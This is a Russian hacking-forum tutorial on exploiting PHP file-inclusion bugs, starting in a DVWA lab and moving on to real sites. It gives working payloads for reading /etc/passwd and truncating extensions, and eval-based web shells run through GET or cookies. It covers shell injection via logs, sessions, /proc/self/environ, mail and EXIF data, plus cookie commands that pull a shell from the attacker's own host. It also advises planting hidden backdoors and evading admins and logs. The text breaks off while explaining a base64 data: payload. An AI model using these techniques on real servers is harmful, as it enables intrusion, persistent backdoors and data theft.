Форум   Статьи   Новости   Файлы   Bugtraq   Сниффер   Друзья   О Клубе
Вернуться   HPC / Безопасность / Уязвимости и защита / Сайты, Форумы, CMS
 
  Страница 1
  , 23:50   #1
Продвинутый
 
Аватар для M@ZAX@KEP
 
Локация: 404 - Not Found
Регистрация: 14.05.2009
Сообщений: 2,831

Репутация: 616 / 8

HPC Activity Medal 
Post PHP File Inclusion - От ошибки до шелла

PHP File Inclusion
От ошибки до шелла

File inclusion (оно же – php include/inclusion, php injection, в народе – инклуд) – уязвимость веб приложений, возникающая вследствие недостаточной фильтрации получаемых от пользователей данных для функций включения кода (см. ниже) и позволяющая выполнить произвольный php код на уязвимом сервере.

Сначала рассмотрим природу этой уязвимости, а именно причину её возникновения. Данный баг возникает вследствие получения параметров для функций include(), require(), eval(), include_once() и require_once() от пользователей без проверки или фильтрации.
В таком случае пользователь (с самыми честными намерениями) получает возможность передавать в функции нужные ему параметры, тем самым включая произвольный код в уязвимые скрипты и выполняя его на атакуемом сервере.
Примечание: подразумевается, что php знают все читатели. Недоучившим для полного удовлетворения рекомендуется освежить в памяти назначение вышеуказанных функций. Также тем, кто не знает, что такое суперглобальные переменные в php ($_POST, $_GET и иже с ними) обязательно к прочтению и пониманию.

Для наглядности смоделируем подобную ситуацию. Есть бездарный девелопер, одна штука + его попытка написать сайт с подключаемыми модулями. Такова будет его гениальная реализация:
code:
<?
...
$page = $_GET['page'];
include($page.'.php');
...
?>
Здесь параметр для функции include() передаётся в скрипт методом GET (и зачем я это пишу, очевидно же), а значит, ссылка на страницу будет выглядеть, например, так:
_ttp://site.com/script.php?page=news
Да, «программист» думал, что так будет легко подключать к страницам сайта блок новостей или, например, фотоальбом и календарик и ссылаться на них как-то так:
_ttp://site.com/script.php?page=album
_ttp://site.com/script.php?page=calendar
Какой наивный мальчик. ^_^ Параметр page функции include доступен для модификации пользователям, следовательно его знаение может быть изменёно на нужное злоумышленнику. Так появляется возможность включения произвольного кода. Подробнее алгоритм и способы внедрения будут рассмотрены далее.

Подготовка тренировочного полигона

Для начала определимся с площадкой для наших экспериментов. Сразу ставлю этот вопрос, потому что без практики изучать что-либо бесполезно, а если не порешить с этим делом сразу, многие и пробовать не будут (по себе знаю =) ).
Вечный вопрос «где?» можно сразу отбрасывать – на локалхосте. Ибо в вебе и искать долго, и работать медленнее. А чтобы не писать уязвимых скриптов самим, воспользуемся продуктом за именем DVWA (Damn Vulnerable Web Aplication). Ознакомиться с кратким описанием можно здесьздесь офсайт). Только не уходите надолго, когда установите - возвращайтесь!

Но одной только установкой DVWA наша подготовка не заканчивается. Дабы все уязвимые скрипты были уязвимы на полную катушку, нужно внести некоторые изменения в конфигурацию нашего сервера, а именно интерпретатора php. Откройте конфигурационный файл php.ini, найдите и отредактируйте указанные ниже директивы:
code:
register_globals=ON ; глобализация переменных - потенциальная брешь в безопасности
magic_quotes=OFF ; отключаем магические кавычки для GET/POST/COOKIE - благоприятствует SQL-inj и позволяет использовать нуль-байт в инклудах
; Следующие 3 параметра необязательны для изучения инклудов. Можете установить их на будущее.
magic_quotes_runtime=OFF ; благоприятствует SQL-inj
magic_quotes_sybase=OFF ; благоприятствует SQL-inj
mysql.trace_mode=ON ; включает показ ошибок Mysql
allow_url_fopen=ON ; разрешает удаленное открытие файлов файловыми функциями
allow_url_include=ON ; разрешает удаленно инклудить файлы
error_reporting=E_ALL ; показ всех ошибок
disable_functions= ; никаких ограничений
safe_mode=OFF ; никаких ограничений
open_basedir= ; никаких ограничений
sql.safe_mode=OFF ;
Внимание! Данная конфигурация сервера способствует проявлению множества критических уязвимостей веб-приложений и снижает его защищённость. Используйте данную конфигурацию только для тестирования уязвимостей веб приложений и только на localhost-сервере.

После сохранения изменений необходимо перезапустить сервер. Ах да, когда будете заходить в DVWA, не забывайте в разделе «Security» устанавливать значение уровня защищённости в «Low». На других уровнях уязвимости там не будет.
На этом подготовительный этап заканчивается. Теперь рассмотрим то, с чего начинается любой взлом... и, разумеется, любая защита.

Поиск уязвимости

В случае с нашей тренировочной площадкой на местоположение уязвимого скрипта как бы незаметно намекает кнопка «File Inclusion», но может оно и к лучшему. Потратить час-другой на поиск уязвимости всегда успеете, но сейчас же не до этого. Лучше попробуйте самостоятельно поэкспериментировать с уязвимым параметром, передаваемым в адресной строке (изменить на любой другой текст) и посмотреть, как на это отреагирует скрипт при наличии уязвимости.

http://localhost/dvwa/vulnerabilities/fi/?page=whatsup
Цитата:
Сообщение от [url
http://localhost/dvwa/vulnerabilities/fi/?page=whatsup][/url]Warning: include(whatsup) [function.include]: failed to open stream: No such file or directory in W:\home\localhost\www\dvwa\vulnerabilities\fi\index.php on line 35

Warning: include() [function.include]: Failed opening 'whatsup' for inclusion (include_path='.;/usr/local/php5/PEAR;../../external/phpids/0.6/lib/') in W:\home\localhost\www\dvwa\vulnerabilities\fi\index.php on line 35
На подстановке левых значений и обнаружении подобных ошибок и основан поиск file inclusion. В общих чертах процесс поиска инклудов похож на поиск SQL инъекций и XSS – мы всё так же изменяем все передаваемые скрипту параметры чтобы узнать его реакцию. Так как природу уязвимости мы уже понимаем, можем догадаться, что ошибка происходит потому, что скрипт пытается подключить несуществующий файл (иногда эрроры могут и не вываливаться, если отключен их вывод, но в таком случае мы всё равно увидим изменение страницы). А это, в свою очередь значит, что мы нашли параметр, указывающий на подключаемый файл, и теоретически имеем возможность этим воспользоваться. Чтож, попробуем...

Проверка найденной уязвимости

Для начала убедимся, что найденная аномалия вообще является инклудом. Подставим в параметр адрес файла на сервере, в существовании которого мы уверены. Классика — файл /etc/passwd. Путь к файлу указывается относительно текущего скрипта, поэтому для перехода в корневой каталог используется несколько последовательностей ../ (кто не в курсе, символы ../ означают переход на каталог выше, запомните их):
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd
На странице отобразилось содержимое этого файла, следовательно, мы не ошиблись и действительно нашли уязвимость file inclusion (кто бы сомневался...)!
Примечание: в случае, если сервером является система семейства *BSD, файла /etc/passwd вы там не найдёте. Попробуйте включить /etc/groups (просто для проверки работоспособности инклуда).

Если у вас сейчас не отобразилось ничего особоенного, причина этому одна - вы под виндой. =) Я не собираюсь сейчас пропагандировать *nix и вести демагогию насчёт преимуществ той или иной системы, но факт остаётся фактом — доля никсовых сервантов с сайтами составляет по разным источникам 90% и более от общего кол-ва серверов. Поэтому в статье рассматриваются инклуды именно в никсовые сервера. Как вы увидите далее, существует немало тонкостей, зависящих от ОС, под которой работает атакуемый сайт.

Следует сразу предупредить, что в случаях, когда в конфиге open_basedir грамотно ограничивает каталоги, доступные интерпретатору php, для проверки уязвимости нужно будет подключить что-то из каталога веб-сервера. Единственно возможный способ залить шелл в таком случае – применить file upload (см. часть «Эксплуатирование», параграф «Local File Include», пункт 1).

Null-byte

Часто встречаются ситуации, когда при проверке уязвимости вместо содержимого файла вываливается очередная ошибка подключения:
Цитата:
Warning: main(/etc/passwd.php): failed to open stream: No such file or directory in /var/www/script.php on line 3

Warning: main(): Failed opening '/etc/passwd.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /var/www/script.php on line 3
Обратили внимание на добавившееся расширение .php? Это происходит, если функция включения реализована так, как это было показано в самом начале статьи. То есть если к передаваемому функции параметру автоматически дописывается какое-либо расширение (не обязательно это именно php, может встречаться и любое другое расширение). Для того, чтобы отбросить расширение (которое, по сути, является частью строки, переданной в функцию include), используют символ конца строки - нулевой байт (null-byte): %00

То есть при ошибках с дополнительным расширением файл следует инклудить таким образом:
http://site.com/script.php?page=../../../../../.../../etc/passwd%00

В случаях, когда в конфиге magic_quotes_gpc=On, нуль-байт будет экранироваться. Решение этой проблемы см. в главе «advanced inclusion» (часть – «Good bye, null-byte!»).

Виды инклудов - LFI & RFI

Итак, дальнейший алгоритм эксплуатации будет зависеть от того, к какому виду инклудов принадлежит найденный нами. Уязвимости file inclusion подразделяются на 2 вида: локальные (LFI — Local File Inclusion) и удалённые (RFI — Remote File Inclusion).

Отступление по понятиям: локальный инклуд означает, что есть возможность подключать и исполнять или читать файлы только в пределах уязвимого сервера по относительному пути к файлам (а точнее в пределах заданной в конфиге php open_basedir, ибо она ограничивает доступные интерпретатору каталоги). При удалённом инклуде есть возможность подключать произвольные файлы с других серверов по их URL-адресам. RFI встречается гораздо реже, чем LFI и считается более опасной уязвимостью.

Определить к какому из видов инклудов относится наш не сложно. Так как мы уже уверены, что инклуд рабочий, локальным он будет априори. Удалённый же инклуд здесь будет возможен в том случае, если директива allow_url_include в конфигурации php находится в значении On.

Давайте попробуем провернуть удалённый инклуд в нашем DVWA. Для этого нужно проинклудить уже не локальный файл, а файл на удалённом сервере. Подготовим включаемый файл с таким содержимым:
code:
 <?php echo "Remote File Include works! ^_^"; ?>
Назовём его include.txt и зальём на любой хостинг. Важно, чтобы файл был доступен для чтения, иначе функция включения не сможет прочесть подключаемый код. По этой причине нельзя использовать расширение .php в именах включаемых файлов. После подключения этого файла мы должны увидеть на странице надпись Remote File Include works!!111 ^_^". Пробуем:
http://localhost/dvwa/vulnerabilities/fi/?page=http://our.hosting.ru/include.txt

Если у вас allow_url_include = On, всё должно сработать. Появление надписи означает, что здесь возможен удалённый инклуд.

[size=2]Примечание: при удалённом инклуде обрезать расширение нуль-байтом нет необходимости. Если оно дописывается скриптом, просто присвойте включаемому файлу такое же расширение, а в инклуде укажите URL файла без расширения. Скрипт сам его допишет.
Обратите внимание, что в случае, когда нужно задать файлу расширение .php, сам файл будет исполняться на сервере и его содержимое будет недоступно для чтения и инклуда. Решение проблемы - выводим нужный для инклуда код оператором вывода "echo":

code:
<?php
echo '<?php echo "Remote File Include works! ^_^"; ?>';
?>
Эксплуатирование

Фактически половину работы по эксплуатированию php-injection мы выполнили ещё на стадии проверки найденной уязвимости, когда подключили сторонний код. Осталось лишь довести дело до логического конца, подключив не просто проверочный скрипт, а полноценный шелл. Рискну предположить, что если вы начали читать эту статью, не зная, что такое инклуды или не понимая, как их применять, то возможно, вам не приходилось сталкиваться и с шеллами. Если моё предположение для вас неверно, переходите сразу к пункту «Remote File Inclusion», а остальных вкратце ввожу в тему.

Шеллы

Шелл (shell) — внедрённый на сервер код, позволяющий злоумышленнику контролировать систему. Полноценный шелл по сути представляет из себя некую контрольную панель, из которой можно отдавать системные или php команды серверу, управлять файлами (читать\скачивать\редактировать - полноценный файловый менеджер) и даже подключиться к БД сервера.

Слово «полноценный» было подчёркнуто не просто так. Шеллом можно так же назвать скрипт с таким содержимым:
code:
<?php
eval($_GET[cmd]);
?>
Он так же позволяет выполнять все вышеперечисленные действия посредством передачи команд через параметр cmd... если сохранить на локалхосте с именем shell.php:
http://localhost/shell.php?cmd=phpinfo();
Вывалит phpinfo вашего локалхоста. Просто и сердито, немного неудобно пользоваться, но достаточно, чтобы залить полноценный шелл (который просто являет собой удобную оболочку, интерфейс).

О том, как лить шеллы через пыхинклуд – будет сказано позже, а пока сделаю пару замечаний по этикету использования шеллов и отсыплю вам немного ссылок (без ссылок никак, ибо статья не про шеллы ).
Ну, во-первых, класть шелл в корень сайта с именем shell.php совершенно некультурно. Очевидно, что админ не станет терпеть такого хамства, удалит лишний скрипт, да ещё и плотно займётся безопасностью сайта и перекроет все дырки, по которым вы его так старательно туда лили. Шелл нужно прятать глубоко и старательно. О том, как именно их прятать, читай по ссылкам внизу.
Во-вторых, все GET-запросы отображаются в логах, а следовательно, внимательный админ может пропалить такие запросы, как описанный выше shell.php?cmd=phpinfo(); (ну мало ли зачем надо будет логи проверить). Дабы и здесь быть приличными и тихими, лучше реализовать вышеописанный скрипт с использованием COOKIE вместо GET:
code:
<?php
eval($_COOKIE[cmd]);
?>
В опере можно редактировать печеньки стандартными средствами, для остального ищем плагины — они есть.
В-третьих... да, эту тему можно развернуть ещё на пару статей (да и я сам не все хитрости знаю), так что лучше просто отсыплю полезных линков по сабжу:
Теперь, когда вы точно в курсе про шеллы, и я могу быть спокоен, что дальше не придётся дополнительно ничего разъяснять, можем, наконец, приступать к эксплуатрированию инклудов.

Remote File Inclusion

Здесь всё просто до безобразия. Если у вас уже получилось подключить скрипт с phpinfo ранее на этапе проверки найденного инклуда, просто замените его на удобный для вас шелл. Вот и всё, шелл мы получили! Правда, с серьёзным недостатком — он не залит на атакуемый сервер, а просто подключен. Это огромный минус, так как уязвимость может быть вскоре обнаружена и устранена, и ваш шелл отвалится. О том, как продвинуться дальше, будет сказано после рассмотрения LFI (под заголовком «льём постоянный шелл») потому что там мы упрёмся в аналогичный тупик.

Local File Include

Как уже говорилось ранее, если инклуд есть, то локальным он будет априори, а удалённый инклуд — лишь дополнительная фича бага, позволяющая проще получить базовый шелл (из предыдущего абзаца видно, что это действительно просто). Это я к тому, что всё, что сейчас будет здесь описано, можно провернуть и там, где есть удалённый инклуд. Вопрос только — надо ли?

Итак, получение базового шелла через локальный инклуд происходит по нижеследующему принципу. Сначала нужно найти файл, на содержимое которого мы можем повлиять (ну и который сможем затем проинклудить). Далее внести в этот файл код нашего базового шелла и подключить его.
Примечание: специфика функций включения такова, что даже если интерпретатор не настроен на обработку кода в файлах с отличными от .php расширениями, при инклуде такого файла php-код в нём (между символами <?php ... ?>) всё равно будет интерпретирован.
Ну а теперь пара самых простых и распространённых примеров реализации вышеописанного алгоритма (остальные известные мне приёмы будут рассмотрены в главе «advanced inclusion»).

1) File upload (загрузка файла).
Думаю, не нужно описывать, как опознать форму для загрузки файлов на сервер, как она может выглядеть и для чего использоваться. В конце концов, все наверняка сто раз ими пользовались. По данному в начале параграфа про LFI алгоритму (который вы, конечно же, хорошо поняли и легко запомнили) можно догадаться, что форма загрузки послужит нам для заливки базового шелла. Как было сказано в примечании выше, расширение принимаемых файлов нас не интересует. Главное - пропихнуть файл с нужным содержимым (блокнот в помощь – вписываем код шелла), узнать его адрес на сервере и проинклудить.

Пример: залили аватарку\фотку\любой другой файл (пусть будет ava.gif) с кодом шелла, посмотрели адрес файла (например, по ссылке на скачку или по адресу изображения в его свойствах) и увидели:
_ttp://site.com/upload/files/ava.gif
Имя файла после загрузки может и измениться, но нам плевать.
Ну а наш скрипт с багом был, скажем...
_ttp://site.com/main/index.php?page=[здесь уязвимость]
Инклудим наш залитый файл:
_ttp://site.com/main/index.php?page=../upload/files/ava.gif
Если вдруг забыли, ../ было использовано, чтобы перейти из каталога main на один выше.
Сие и будет служить базовым шеллом.
Кстати, обратите внимание на кнопочку Upload в меню DVWA

Теперь немного о грустном. Не всегда наши файлы оседают на сервере в первозданном виде. Подобный аплоад шелла возможен только в том случае, если файл не подвергается изменениям на сервере (или есть возможность пропихнуть какую-то его часть с кодом неизменной). Самый распространённый пример – сжатие или изменение размеров загружаемых изображений. Теме внедрения и сохранения кода в обрабатываемых изображениях я уделил немного внимания в главе «advanced inclusion» (часть – «Прячем шелл в exif»).

Напомню, что в случае с установленным на сервере open_basedir это ваш единственный шанс получить шелл. Ибо ни к чему кроме директорий сайта доступа у вас скорее всего не будет.

2) Логи веб сервера
Начнём с фактов. Веб сервер ведёт логи. Логи — это файлы. Файлы на том же сервере. Файлы на локальном сервере можно проинклудить. В логах всегда сохраняются ip адреса и юзерагенты (user-agent) обращавшихся к серверу пользователей. Мы — пользователи. Юзерагент можно подменить (подделать). Улавливаете поток мысли? Если подменить user-agent на код базового шелла и при этом проинклудить логи, сначала наше обращение к веб-серверу будет записано в лог и туда попадёт php-код, затем интерпретатор php обработает этот код при инклуде и мы получим наш шелл.

Стандартные пути к логам веб серверов можно при необходимости нагуглить. User-agent можно подменять вот этим. Мини-документация к «этому» здесь, но вряд ли там может быть что-то непонятное.

Звучит просто, но, во-первых, не всегда есть доступ к логам - может не быть прав на чтение (хотя такая расстановка прав по понятным причинам редко сочетается с include уязвимсотями на сайте). Во-вторых, логи могут лежать не по фен-шую в нестандартном месте, где мы их не найдём.
При возникновении первой проблемы придётся прибегнуть к другим методам, последняя же проблема решаема: инклудим (читаем, проще говоря) файл конфигурации веб сервера и смотрим там, куда назначено писать логи. Стандартные пути конфигов сервера также гуглим при необходимости.

3) Инжект в файл сессии
При входе пользователей на сайт многие веб-приложения присваивают каждому из них уникальный идентификатор сессии (Session ID, PHPSESSID). При этом на сервере создаётся файл сессии, в котором как правило записаны ip пользователя, user-agent и некоторая другая информация. В течение сеанса этот файл хранится на сервере в директории, установленной в файле php.ini строкой session.save_path. Если используется значение по умолчанию, файлы сессий хранятся во временной директории /tmp. Имя файла составляется следующим образом: sess_ID. ID будет соответствовать присвоенному вам идентификатору сессии. Узнать его можно, просмотрев печеньку PHPSESSID.

Итого: подменяем user-agent ==> получаем сессию ==> смотрим ID вышеописанным способом ==> инклудим /tmp/sess_ID (при этом агент должен оставаться тем же) ==> получили шелл.

Льём постоянный шелл (оставляем бэкдор)

Инклуд раскручен, временный шелл получен. Подходим к вопросу о том, как залить постоянный шелл, желательно запрятав его поглубже.

Если имеем только локальный инклуд и базовый шелл вида:
code:
<?php
eval($_COOKIE[cmd]);
?>
Первым делом выводим phpinfo (в случае с вышеприведённым шеллом отправляем в кукисах cmd=phpinfo();) и смотрим значения следующих параметров:
  • allow_url_include
  • allow_url_fopen

Далее действуем по обстоятельствам:
Если allow_url_include = On
Сначала крепко задаёмся вопросом, какого же ражна мы мучаемся с локальным инклудом и делаем для себя какие-то выводы. =)
Заливаем на хостинг удобный для нас полнофункциональный шелл, даём расширение .txt (важна доступность для чтения). Далее будем просто инклудить его. Устанавливаем следующие куки и отправляем запрос:
code:
cmd=include($_COOKIE[include_from]);
include_from=http://our.hosting.ru/shell.txt
Если allow_url_fopen = On
Подгрузим полноценный шелл с нашего хостинга (предварительно зальём его туда с расширением .txt) на атакуемый сервер в каталог /tmp (есть гарантия доступности для записи), а затем просто проинклудим его локально Устанавливаем следующие куки и отправляем запрос:
code:
cmd=copy($_COOKIE[get_from],$_COOKIE[copy_to]);
get_from=http://site.com/shell.txt
copy_to=/tmp/php74gECa
Как проинклудить локальный файл /tmp/php74gECa догадаетесь?
Если allow_url_include и allow_url_fopen = Off
Самый муторный способ. Будем заливать шелл со своего компа через форму загрузки файлов. Создадим у себя файл form.html:
code:
<html>
<form enctype="multipart/form-data" action="http://site.com/" method="post">
<input name="upload_file" type="file">
<input type="submit" value="enter">
</form>
</html>
site.com заменяем на тот адрес, который находится у вас в адресной строке (когда вы готовы отправить запрос к шеллу), то есть на адрес проинклуженного базового шелла.
Открываем эту форму в браузере, выбираем файл с кодом нужного нам шелла, устанавливаем куки:
code:
cmd=move_uploaded_file($_COOKIE[upl_file],$_COOKIE[copy_to]);
upl_file=$_FILES["upl"]["nametmp"]
copy_to=/tmp/php74gECa
И только после этого отправляем запрос из формы (давим enter... Кэп где-то рядом).
Разумеется, локально инклудим залитый /tmp/php74gECa.
То, что сейчас свершилось можно назвать перезаливкой шелла — получение одного шелла из другого. После любой из трёх вышеописанных процедур вы должны прийти к одному результату — получить полнофункциональный шелл с удобным пользовательским интерфейсом.

Теперь можно воспользоваться им для того, чтобы оставить бэкдор (скрытый шелл с минимальным функционалом, «базовый») на взломанном сайте. Вооружайтесь рекомендациями по сокрытию шелла (по ссылкам из параграфа «Шеллы») и ищите доступные для записи файлы или каталоги, где можно его спрятать.

Возможно, вы зададите вопрос, почему нельзя было сразу вставить код полноценного шелла при локальном инклуде? Причины могут быть различные. Например, при заливке шелла через згружаемый файл нам может препятствовать ограничение на размер файла. Инжект здорового кода через юзерагент в логи апача — верх наглости и палевности. Другой метод инклуда, который будет описан далее (в главе «advanced inclusion»), требует быстрого ответа сервера на запрос и отправка здорового запроса с кодом так же неприемлема.

Если действие происходит с удалённого инклуда — всё совсем просто. В случае с удалённым инклудом имеется возможность без проблем подключить полнофункциональный шелл с удобным интерфейсом просто залив его на хостинг, а значит можно сразу же приступать к внедрению бэкдора (см. на 2 абзаца выше).

Пользуемся бэкдором

Теперь пару слов о том, как оставленным бэкдором в будущем воспользоваться. Так как пытаться спрятать код полноценного веб-шелла было бы глупо (нам нужна в первую очередь скрытность, а не юзабилити), в качестве бэкдоров всегда используется простейший базовый шелл. А для того чтобы им воспользоваться с комфортом нужно всего лишь повторно прибегнуть к одному из трёх описанных выше методов перезалива шелла.
Advanced Inclusion

Intro

Если бы любая найденная ошибка подключения файла сразу означала 100%-ую возможность исполнить левый код на сервере, это было бы слишком скучно. До этого в статье была рассмотрена «идеальная» уязвимость без каких-либо подводных камней (разве что было пару отсылок к этой главе с замечаниями, что что-то может пойти не так). На практике же вам придётся сталкиваться с более сложными вариантами инклудов, которые потребуют использования различных техник. Это может быть обусловлено как конфигурацией сервера, так и особенностями кода.

Good bye, null-byte!

Самая часто встречающаяся проблема — при инклуде нужно обрезать расширение, но magic_quotes_gpc=On и нульбайт экранируется. К счастью, для кастрации расширения есть и другой способ.
Начнём с того, что длина всех обрабатываемых путей для интерпретатора php ограничена определённым кол-вом символов, а символы, выходящие за этот лимит, просто игнорируются (отбрасываются). Грамотно это обзывается усечением пути. Следовательно, от расширения можно избавиться, выпихнув его за этот лимит.
Вопрос, где взять длинный путь к файлу, решается элементарно. Можно подставить после имени включаемого файла последовательность из нужного кол-ва символов «/.» и интерпретатор php всё равно обратится к указанному файлу. При этом необходимо в начало адреса включаемого файла дописать любое имя папки и выйти из неё последовательностью «/../» (папка может и не существовать — не важно). Это называется нормализацией пути.

http://localhost/dvwa/vulnerabilities/fi/?page=include.php
=
http://localhost/dvwa/vulnerabilities/fi/?page=fakedir/../include.php/././././././././.

Теперь нужно просто подставить в адрес включаемого файла такое кол-во слешей, которое вытеснило бы ненужное нам расширение. Ограничение длины путей зависит от платформы, но в большинстве случаев на никсовых серверах оно равно 4096 символам.
Итак, для успешного отсечения расширения достаточно подставить после адреса включаемого файла 2048 слешей с точками (ну или сколь угодно больше):
http://site.com/script.php?page=fakedir/../../../../../../../etc/passwd/././././.<...тысячи их...>/./././.
Так как нормализуется последовательность «/.», путь инклуда должен заканчиваться именно точкой, а не слэшем (смотрим в выводимой ошибке). Если кончается слэшем, добавляем одну любую букву к fakedir… ну или удаляем.

Способ не работает в php начиная с версии 5.3.0, но так как не все обновляют серверное ПО (следуют принципу «работает – не тронь!» во избежание проблем совместимости с новыми версиями), можно считать багу актуальной.
Так же не сработает в том случае, если инклуд файла (в самом коде) начинается не с буквы, а со спецсимвола, например в коде вида:
code:
$page = $_GET['page'];
include(“./$page”.”.php”);
или
code:
<?
...
$page = $_GET['page'];
include(“/directory/$page”.”.php”);
...
?>
и в вариациях на эту тему метод не сработает.

Hint: в случае ограничений на длину url стоит попытаться использовать post запрос. Он будет работать в случае, если в скрипте используется не $_GET, а $_REQUEST (как показывает практика, так делают многие программисты).

Ещё места для шелла с LFI

Когда я описывал инжект шелл-кода через локальный инклуд, были упомянуты только 2 основных способа заливки, а так же обещано рассмотрение других методов в данной главе. Пробил час.

Следующие способы являются альтернативой к описанным ранее в случаях, когда нет возможности загрузить файл и не удаётся найти файлы логов и сессий (да сессии и не на каждом сайте используются) или отсутствуют права на их чтение. Алгоритм атаки здесь такой же, как и в примере с логами: подделка юзер-агента с одновременным инклудом некоторого файла, в котором отображается этот самый user-agent. Фактически остаётся рассмотреть только расположение этих файлов. Понеслась...

/proc/self и логи где-то рядом...

ОС семейства linux имеют интересную фичу под названием ProcFS. Это виртуальная файловая система, об истинном предназначении которой можно прочитать по ссылке выше. Для нас в данный момент интересен тот факт, что она монтируется в каталог /proc и содержит символические ссылки на файлы, с которыми в данный момент работают какие-либо процессы в системе. А значит, здесь можно найти файлы логов веб-сервера даже если ранее не удалось обнаружить их в стандартных директориях (права на чтение этих файлов у вас всё равно должны быть).
Файлы, используемые различными процессами, получают адреса по следующему принципу: /proc/pid/fd/n, где pid – process ID, идентификатор процесса в системе, n – просто порядковый номер открытого процессом файла (файловый дескриптор). Вместо pid можно использовать символическую ссылку self, которая адресует нас в каталог текущего процесса. Он нам и нужен, ведь файл логов используется нашим же процессом веб-сервера (под «нашим» подразумевается процесс, из которого мы обращаемся по ссылке self). Для нахождения логов останется только подобрать порядковый номер файла, что не должно занять много времени.
Чаще всего логи находятся по адресу /proc/self/fd/8
После того, как подберёте файловый дескриптор и найдёте логи, действуйте по уже знакомому алгоритму.
Примечание: если кто-то (не дай боже) не знаком со структурой файловой системы в никсах, довожу до сведения, что / - не символ в имени папки, а адрес корневого каталога, соответственно /proc – это папка «proc», расположенная в корневом каталоге. Про переход в него через последовательности ../ напоминать, надеюсь, не нужно.

Ещё одно место, куда падает юзер-агент — файл /proc/self/environ. В случае с процессом апача (не забываем, что self — симолическая ссылка, адрес которой зависит от процесса, от которого к ней обращаются) этот файл содержит информацию о переменных окружения (environment) этого процесса, и туда попадает user-agent последнего зашедшего пользователя. Принцип атаки всё тот же. Однако здесь важна скорость выполнения запроса. Если атакуемый сайт имеет большое кол-во посетителей, юзерагент последнего пользователя может перезаписаться до того, как произойдёт инклуд файла с вашим юзерагентом. Если после нескольких попыток обновить страницу вы получали содержимое файла и видели в нём чужой юзерагент, придётся попробовать в ночь на Новый Год когда все напьются и не будут лазать по сайтам.

Пишите письма

Данный метод инжекта шелл-кода поражает своей извращённостью, но зачастую это единственно возможный вариант, например, когда до /proc/self не получается добраться из-за грамотно расставленных прав. Заключается он в отправке письма с кодом на сервер и инклуде почтового файла.
Для этого должно выполняться 3 условия:
  1. На сайте есть возможность отправки почты. Например, отправка приглашений другим пользователям или настройка уведомлений о получении ЛС, комментариев, обновлений профиля и т.п. на мыло.
  2. Мы можем как-либо повлиять на содержимое письма.
  3. Мы можем указать адрес получателя сообщения. Например, адрес получателя приглашения или подменить свой e-mail в профиле (на который приходят уведомления).
Для примера рассмотрим такую ситуацию: вы зарегистрировались на сайте и включили в профиле все возможные уведомления на почту (почту пока указали свою реальную). Путём несложных манипуляций вы инициировали отправку всех возможных уведомлений (ответили в своей же теме на форуме, оставили комментарий к своему материалу, отправили себе ЛС и т.*п. Просмотрев входящую почту выяснилось, что полученные на сайте ЛС и комментарии цитируются в письме. Ок, значит таким образом можно отправить шелл-код в письме. Думаю, тут идея понятна – как-либо включить код шелла в текст письма. Остаётся подменить адрес получателя (в данном случае — адрес, указанный у вас в профиле), чтобы письмо оставалось на атакуемом сервере.

На пункте подмены e-amil адреса остановимся подробнее. Для того, чтобы письмо пришло на тот же сервер, адрес должен иметь вид [email protected] Вторая часть адреса очевидна – это будет сам атакуемый сервер, а первая часть — имя пользователя, которому будет адресовано сообщение. Можно использовать имя пользователя root (так как он 100% существует на любом сервере), но не факт что у вас будут права на чтение его почтовых файлов. Поэтому стоит сразу попытать счастья с пользователем nobody. Насколько мне известно, он тоже есть везде. =) Если и на почту этого юзера не будет прав чтения, они 100% будут на свою почту, то бишь на пользователя, под которым запущен веб-сервер. Обычно это «www-data», но могут также оказаться пользователи «apache», «www» «wwwdata»... в общем, может быть, придётся перебирать.

Так же при смене адреса можно столкнуться с такой засадой как необходимость подтверждения нового адреса. Казалось бы, это невозможно, ведь у нас нет почтового аккаунта к атакуемому серверу, но так как изначально задумывалось отправить письмо с кодом на сервер, а потом его проинклудить, что мешает так же проинклудить письмо с требуемым кодом подтверждения и прочитать его? Всё просто.

Итак, если имя пользователя будет подобрано правильно, письмо упадёт на сервер в каталог /var/mail или в /var/spool/mail с именем файла по имени пользователя (то есть /var/mail/www-data или что вы вместо него подберёте). Инклудим его, читаем код или ссылку подтверждения, сабмитим новое мыло (при необходимости подтвержения), после чего инициируем (найденным ранее способом) отправку письма с кодом шелла. Инклуд этого письма и даст нам столь желанный шелл.

Прячем шелл в exif

При попытке проинклудить залитую на сайт картинку с вставленным в неё php кодом зачастую можно столкнуться с такой проблемой как проверка формата изображения перед сохранением его на сервер или с простым изменением размеров или сжатием картинки. В таких случаях нагло вписать код в файл блокнотом и проинклудить его не получится — данные будут утеряны после обработки изображения сервером.
К счастью, у файлов изображений есть специальная секция, предназначенная для хранения различных сведений об изображении. Эта секция называется exif (Exchangeable Image File Format). Конечно, если скрипт верификации загружаемого изображения написан добросовестно, он затрёт содержимое это секции, но надежда умирает последней.

Итак, нам нужно валидное для загрузки изображение с соответствующим требованием сайта расширением и желательно как можно меньшим размером (зачастую маленькие изображения пропускаются скриптами без сжатия и ресайза). Записать в его exif код шелла можно при помощи графических редакторов, имеющих функцию редактирования exif или специализированных программ. Как обстоят дела в винде не знаю, в никсах это можно сделать с помощью gimp. Кстати, он есть и под windows.
Открываем изображение — жмём «сохранить как», выбираем целевой формат и... в общем, как-то так для gif:
IMAGE http://i042.radikal.ru/1107/bb/d6a3400cea75t.jpg


И так для jpg:
IMAGE http://s006.radikal.ru/i214/1107/23/a52210ecb91bt.jpg


После сохранения изображение будет содержать код нашего шелла. Проверить можно открыв файл любым hex редактором. Так же проверяем наличие кода в файле после его заливки. Если код остался — можно инклудить файл и радоваться этой маленькой победе.

Обход фильтраций

Уже на этапе проверки ошибки, подозреваемой на удалённый инклуд, можно столкнуться с фильтрацией определённых жизненно важных для инжекта символов, таких как точки и слеши. Так же бывает, что allow_url_include = On, но имеются ограничения для интерпретатора php на работу по протоколу http. Рассмотрим эти ситуации.
Примечание: перед тем как пускаться во все тяжкие, попробуйте банальное url-кодирование. Иногда (хоть и редко) этого оказывается достаточно для обхода примитивных фильтров.

Обходим фильтры протоколом Data

Включён в php версий >= 5.2.0.
Требует allow_url_include = On (не всегда о_О)

Пример:
http://localhost/dvwa/vulnerabilities/fi/?page=data:application/x-httpd-php;base64,PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyA/Pg==&cmd=phpinfo();
Выведет phpinfo вашего сервера. Разберём этот пример по частям.
Параметру скрипта page передаётся для инклуда значение «data:application/x-httpd-php;base64,PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyA/Pg==&cmd=phpinfo();».
